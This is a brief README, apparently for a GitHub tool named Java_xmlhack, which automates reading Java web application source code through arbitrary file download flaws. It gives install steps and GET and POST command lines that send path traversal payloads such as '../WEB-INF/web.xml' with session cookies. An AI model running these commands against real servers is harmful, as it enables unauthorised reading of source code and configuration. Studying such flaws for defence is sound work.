Awesome

Java_xmlhack

帮助java环境下任意文件下载情况自动化读取源码的小工具

想法

关于Java任意文件读取的学习

使用

git clone https://github.com/Artemis1029/Java_xmlhack.git
cd Java_xmlhack
pip install -r requirements.txt
# if get
python xmlsearch.py -u https://xxx.xxx/?file=../WEB-INF/web.xml -c="cookie"
# if post
python xmlsearch.py -u https://xxx.xxx/ -d="file=../WEB-INF/web.xml" -t="content-type(default application/x-www-form-urlencoded)" -c="cookie"